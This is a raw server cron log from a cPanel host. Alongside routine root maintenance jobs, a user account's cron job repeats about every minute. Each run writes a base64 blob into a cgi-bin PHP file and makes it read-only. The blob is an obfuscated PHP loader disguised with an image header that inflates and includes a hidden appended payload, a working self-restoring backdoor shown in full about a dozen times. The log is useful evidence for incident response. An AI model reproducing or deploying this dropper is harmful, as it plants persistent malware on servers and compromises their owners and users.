Sep  7 11:44:01 server CROND[1863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:45:01 server CROND[2287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:45:01 server CROND[2289]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 11:45:01 server CROND[2292]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:45:01 server CROND[2290]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:45:01 server CROND[2293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:45:01 server CROND[2294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:45:01 server CROND[2291]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 11:46:01 server CROND[3203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:46:01 server CROND[3204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:46:01 server CROND[3205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:47:01 server CROND[3626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:47:01 server CROND[3627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:47:01 server CROND[3628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:48:01 server CROND[4012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:48:01 server CROND[4013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:48:01 server CROND[4011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:49:01 server CROND[4420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:49:01 server CROND[4419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:49:01 server CROND[4421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:50:01 server CROND[4837]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:50:01 server CROND[4840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:50:01 server CROND[4839]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:50:01 server CROND[4842]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 11:50:01 server CROND[4846]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 11:50:01 server CROND[4849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:50:01 server CROND[4843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:50:01 server CROND[4844]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 11:50:01 server CROND[4845]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 11:51:01 server CROND[5697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:51:01 server CROND[5698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:51:01 server CROND[5700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:52:01 server CROND[6186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:52:01 server CROND[6185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:52:01 server CROND[6187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:53:01 server CROND[6574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:53:01 server CROND[6575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:53:01 server CROND[6576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:54:01 server CROND[6967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:54:01 server CROND[6968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:54:01 server CROND[6969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:55:01 server CROND[7377]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 11:55:01 server CROND[7378]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:55:01 server CROND[7380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:55:01 server CROND[7379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:55:01 server CROND[7381]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 11:55:01 server CROND[7383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:55:01 server CROND[7384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:56:01 server CROND[8222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:56:01 server CROND[8223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
